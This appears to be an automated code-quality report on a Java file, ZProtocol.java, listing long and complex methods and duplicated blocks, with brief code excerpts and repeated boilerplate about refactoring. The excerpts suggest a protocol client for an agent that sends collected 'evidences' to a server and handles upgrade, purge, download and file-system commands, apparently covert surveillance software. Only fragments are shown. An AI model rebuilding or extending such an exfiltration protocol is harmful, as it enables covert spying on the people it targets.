File ZProtocol.java
has 666 lines of code (exceeds 250 allowed). Consider refactoring. Open
//#preprocess
/* *************************************************
* Copyright (c) 2010 - 2011
* HT srl, All rights reserved.
Method perform
has 110 lines of code (exceeds 25 allowed). Consider refactoring. Open
public boolean perform() {
//#ifdef DBC
Check.requires(transport != null, "perform: transport = null"); //$NON-NLS-1$
//#endif
Method perform
has a Cognitive Complexity of 25 (exceeds 5 allowed). Consider refactoring. Open
public boolean perform() {
//#ifdef DBC
Check.requires(transport != null, "perform: transport = null"); //$NON-NLS-1$
//#endif
- Read upRead up
Cognitive Complexity
Cognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.
A method's cognitive complexity is based on a few simple rules:
- Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one
- Code is considered more complex for each "break in the linear flow of the code"
- Code is considered more complex when "flow breaking structures are nested"
Further reading
ZProtocol
has 25 methods (exceeds 20 allowed). Consider refactoring. Open
public class ZProtocol extends Protocol {
private static final int SHA1LEN = 20;
//#ifdef DEBUG
private static Debug debug = new Debug("ZProtocol", DebugLevel.VERBOSE); //$NON-NLS-1$
Method parseAuthentication
has 49 lines of code (exceeds 25 allowed). Consider refactoring. Open
protected boolean parseAuthentication(byte[] authResult)
throws ProtocolException {
if (authResult.length != 64) {
//#ifdef DEBUG
debug.trace("parseAuthentication: wrong size. Probably a decoy."); //$NON-NLS-1$
Method sendEvidences
has a Cognitive Complexity of 15 (exceeds 5 allowed). Consider refactoring. Open
protected void sendEvidences(String basePath) throws TransportException,
ProtocolException {
//#ifdef DEBUG
debug.info("sendEvidences from: " + basePath); //$NON-NLS-1$
//#endif
- Read upRead up
Cognitive Complexity
Cognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.
A method's cognitive complexity is based on a few simple rules:
- Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one
- Code is considered more complex for each "break in the linear flow of the code"
- Code is considered more complex when "flow breaking structures are nested"
Further reading
Method sendResumeEvidence
has 44 lines of code (exceeds 25 allowed). Consider refactoring. Open
private boolean sendResumeEvidence(AutoFile file) throws TransportException, ProtocolException {
int chunk = Cfg.PROTOCOL_CHUNK;
int size = (int) file.getSize();
final byte[] requestBase = new byte[5 * 4];
Method purgeEvidences
has a Cognitive Complexity of 13 (exceeds 5 allowed). Consider refactoring. Open
protected void purgeEvidences(String basePath, Date date, int size) {
EvidenceCollector logCollector = EvidenceCollector.getInstance();
final Vector dirs = logCollector.scanForDirLogs(basePath);
final int dsize = dirs.size();
- Read upRead up
Cognitive Complexity
Cognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.
A method's cognitive complexity is based on a few simple rules:
- Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one
- Code is considered more complex for each "break in the linear flow of the code"
- Code is considered more complex when "flow breaking structures are nested"
Further reading
Method parseUpload
has 37 lines of code (exceeds 25 allowed). Consider refactoring. Open
protected boolean parseUpload(byte[] result) throws ProtocolException {
int res = Utils.byteArrayToInt(result, 0);
if (res == Proto.OK) {
//#ifdef DEBUG
Method sendEvidences
has 37 lines of code (exceeds 25 allowed). Consider refactoring. Open
protected void sendEvidences(String basePath) throws TransportException,
ProtocolException {
//#ifdef DEBUG
debug.info("sendEvidences from: " + basePath); //$NON-NLS-1$
//#endif
Method parseUpgrade
has 34 lines of code (exceeds 25 allowed). Consider refactoring. Open
protected boolean parseUpgrade(byte[] result) throws ProtocolException {
int res = Utils.byteArrayToInt(result, 0);
if (res == Proto.OK) {
//#ifdef DEBUG
Method parseIdentification
has 33 lines of code (exceeds 25 allowed). Consider refactoring. Open
protected boolean[] parseIdentification(byte[] result)
throws ProtocolException {
boolean[] capabilities = new boolean[Proto.LASTTYPE];
int res = Utils.byteArrayToInt(result, 0);
Method sendResumeEvidence
has a Cognitive Complexity of 11 (exceeds 5 allowed). Consider refactoring. Open
private boolean sendResumeEvidence(AutoFile file) throws TransportException, ProtocolException {
int chunk = Cfg.PROTOCOL_CHUNK;
int size = (int) file.getSize();
final byte[] requestBase = new byte[5 * 4];
- Read upRead up
Cognitive Complexity
Cognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.
A method's cognitive complexity is based on a few simple rules:
- Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one
- Code is considered more complex for each "break in the linear flow of the code"
- Code is considered more complex when "flow breaking structures are nested"
Further reading
Method parseIdentification
has a Cognitive Complexity of 10 (exceeds 5 allowed). Consider refactoring. Open
protected boolean[] parseIdentification(byte[] result)
throws ProtocolException {
boolean[] capabilities = new boolean[Proto.LASTTYPE];
int res = Utils.byteArrayToInt(result, 0);
- Read upRead up
Cognitive Complexity
Cognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.
A method's cognitive complexity is based on a few simple rules:
- Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one
- Code is considered more complex for each "break in the linear flow of the code"
- Code is considered more complex when "flow breaking structures are nested"
Further reading
Method parseUpload
has a Cognitive Complexity of 10 (exceeds 5 allowed). Consider refactoring. Open
protected boolean parseUpload(byte[] result) throws ProtocolException {
int res = Utils.byteArrayToInt(result, 0);
if (res == Proto.OK) {
//#ifdef DEBUG
- Read upRead up
Cognitive Complexity
Cognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.
A method's cognitive complexity is based on a few simple rules:
- Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one
- Code is considered more complex for each "break in the linear flow of the code"
- Code is considered more complex when "flow breaking structures are nested"
Further reading
Method forgeAuthentication
has 26 lines of code (exceeds 25 allowed). Consider refactoring. Open
protected byte[] forgeAuthentication() {
Keys keys = Encryption.getKeys();
byte[] data = new byte[104];
DataBuffer dataBuffer = new DataBuffer(data, 0, data.length, false);
Method parseNewConf
has a Cognitive Complexity of 9 (exceeds 5 allowed). Consider refactoring. Open
protected int parseNewConf(byte[] result) throws ProtocolException,
CommandException {
int res = Utils.byteArrayToInt(result, 0);
boolean ret = false;
if (res == Proto.OK) {
- Read upRead up
Cognitive Complexity
Cognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.
A method's cognitive complexity is based on a few simple rules:
- Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one
- Code is considered more complex for each "break in the linear flow of the code"
- Code is considered more complex when "flow breaking structures are nested"
Further reading
Method parseAuthentication
has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring. Open
protected boolean parseAuthentication(byte[] authResult)
throws ProtocolException {
if (authResult.length != 64) {
//#ifdef DEBUG
debug.trace("parseAuthentication: wrong size. Probably a decoy."); //$NON-NLS-1$
- Read upRead up
Cognitive Complexity
Cognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.
A method's cognitive complexity is based on a few simple rules:
- Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one
- Code is considered more complex for each "break in the linear flow of the code"
- Code is considered more complex when "flow breaking structures are nested"
Further reading
Method writeBuf
has 5 arguments (exceeds 4 allowed). Consider refactoring. Open
private void writeBuf(byte[] buffer, int pos, byte[] whatever, int offset, int len) {
Method parseDownload
has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring. Open
protected void parseDownload(byte[] result) throws ProtocolException {
int res = Utils.byteArrayToInt(result, 0);
if (res == Proto.OK) {
//#ifdef DEBUG
debug.trace("parseDownload, OK"); //$NON-NLS-1$
- Read upRead up
Cognitive Complexity
Cognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.
A method's cognitive complexity is based on a few simple rules:
- Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one
- Code is considered more complex for each "break in the linear flow of the code"
- Code is considered more complex when "flow breaking structures are nested"
Further reading
Method parseUpgrade
has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring. Open
protected boolean parseUpgrade(byte[] result) throws ProtocolException {
int res = Utils.byteArrayToInt(result, 0);
if (res == Proto.OK) {
//#ifdef DEBUG
- Read upRead up
Cognitive Complexity
Cognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.
A method's cognitive complexity is based on a few simple rules:
- Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one
- Code is considered more complex for each "break in the linear flow of the code"
- Code is considered more complex when "flow breaking structures are nested"
Further reading
Method parseFileSystem
has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring. Open
protected void parseFileSystem(byte[] result) throws ProtocolException {
int res = Utils.byteArrayToInt(result, 0);
if (res == Proto.OK) {
//#ifdef DEBUG
debug.trace("parseFileSystem, OK"); //$NON-NLS-1$
- Read upRead up
Cognitive Complexity
Cognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.
A method's cognitive complexity is based on a few simple rules:
- Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one
- Code is considered more complex for each "break in the linear flow of the code"
- Code is considered more complex when "flow breaking structures are nested"
Further reading
Avoid too many return
statements within this method. Open
return false;
Avoid too many return
statements within this method. Open
return false;
Method parsePurge
has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring. Open
protected void parsePurge(byte[] result) throws ProtocolException,
CommandException {
//#ifdef DBC
Check.asserts(result.length >= 4, "Wrong purge answer");
//#endif
- Read upRead up
Cognitive Complexity
Cognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.
A method's cognitive complexity is based on a few simple rules:
- Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one
- Code is considered more complex for each "break in the linear flow of the code"
- Code is considered more complex when "flow breaking structures are nested"
Further reading
Similar blocks of code found in 2 locations. Consider refactoring. Open
if (capabilities[Proto.DOWNLOAD]) {
//#ifdef DEBUG
debug.info("***** Download *****"); //$NON-NLS-1$
//#endif
response = command(Proto.DOWNLOAD);
- Read upRead up
Duplicated Code
Duplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:
Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.
When you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).
Tuning
This issue has a mass of 46.
We set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.
The threshold configuration represents the minimum mass a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.
If the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.
See codeclimate-duplication
's documentation for more information about tuning the mass threshold in your .codeclimate.yml
.
Refactorings
- Extract Method
- Extract Class
- Form Template Method
- Introduce Null Object
- Pull Up Method
- Pull Up Field
- Substitute Algorithm
Further Reading
- Don't Repeat Yourself on the C2 Wiki
- Duplicated Code on SourceMaking
- Refactoring: Improving the Design of Existing Code by Martin Fowler. Duplicated Code, p76
Similar blocks of code found in 2 locations. Consider refactoring. Open
if (capabilities[Proto.FILESYSTEM]) {
//#ifdef DEBUG
debug.info("***** FileSystem *****"); //$NON-NLS-1$
//#endif
response = command(Proto.FILESYSTEM);
- Read upRead up
Duplicated Code
Duplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:
Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.
When you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).
Tuning
This issue has a mass of 46.
We set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.
The threshold configuration represents the minimum mass a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.
If the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.
See codeclimate-duplication
's documentation for more information about tuning the mass threshold in your .codeclimate.yml
.
Refactorings
- Extract Method
- Extract Class
- Form Template Method
- Introduce Null Object
- Pull Up Method
- Pull Up Field
- Substitute Algorithm
Further Reading
- Don't Repeat Yourself on the C2 Wiki
- Duplicated Code on SourceMaking
- Refactoring: Improving the Design of Existing Code by Martin Fowler. Duplicated Code, p76
Similar blocks of code found in 3 locations. Consider refactoring. Open
} else if (res == Proto.NO) {
//#ifdef DEBUG
debug.trace("parseUpload, NO"); //$NON-NLS-1$
//#endif
return false;
- Read upRead up
Duplicated Code
Duplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:
Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.
When you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).
Tuning
This issue has a mass of 42.
We set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.
The threshold configuration represents the minimum mass a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.
If the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.
See codeclimate-duplication
's documentation for more information about tuning the mass threshold in your .codeclimate.yml
.
Refactorings
- Extract Method
- Extract Class
- Form Template Method
- Introduce Null Object
- Pull Up Method
- Pull Up Field
- Substitute Algorithm
Further Reading
- Don't Repeat Yourself on the C2 Wiki
- Duplicated Code on SourceMaking
- Refactoring: Improving the Design of Existing Code by Martin Fowler. Duplicated Code, p76
Similar blocks of code found in 3 locations. Consider refactoring. Open
} else if (res == Proto.NO) {
//#ifdef DEBUG
debug.trace("parseUpgrade, NO"); //$NON-NLS-1$
//#endif
return false;
- Read upRead up
Duplicated Code
Duplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:
Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.
When you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).
Tuning
This issue has a mass of 42.
We set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.
The threshold configuration represents the minimum mass a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.
If the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.
See codeclimate-duplication
's documentation for more information about tuning the mass threshold in your .codeclimate.yml
.
Refactorings
- Extract Method
- Extract Class
- Form Template Method
- Introduce Null Object
- Pull Up Method
- Pull Up Field
- Substitute Algorithm
Further Reading
- Don't Repeat Yourself on the C2 Wiki
- Duplicated Code on SourceMaking
- Refactoring: Improving the Design of Existing Code by Martin Fowler. Duplicated Code, p76
Similar blocks of code found in 3 locations. Consider refactoring. Open
} else if (res == Proto.NO) {
//#ifdef DEBUG
debug.error("checkOk: NO"); //$NON-NLS-1$
//#endif
return false;
- Read upRead up
Duplicated Code
Duplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:
Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.
When you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).
Tuning
This issue has a mass of 42.
We set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.
The threshold configuration represents the minimum mass a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.
If the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.
See codeclimate-duplication
's documentation for more information about tuning the mass threshold in your .codeclimate.yml
.
Refactorings
- Extract Method
- Extract Class
- Form Template Method
- Introduce Null Object
- Pull Up Method
- Pull Up Field
- Substitute Algorithm
Further Reading
- Don't Repeat Yourself on the C2 Wiki
- Duplicated Code on SourceMaking
- Refactoring: Improving the Design of Existing Code by Martin Fowler. Duplicated Code, p76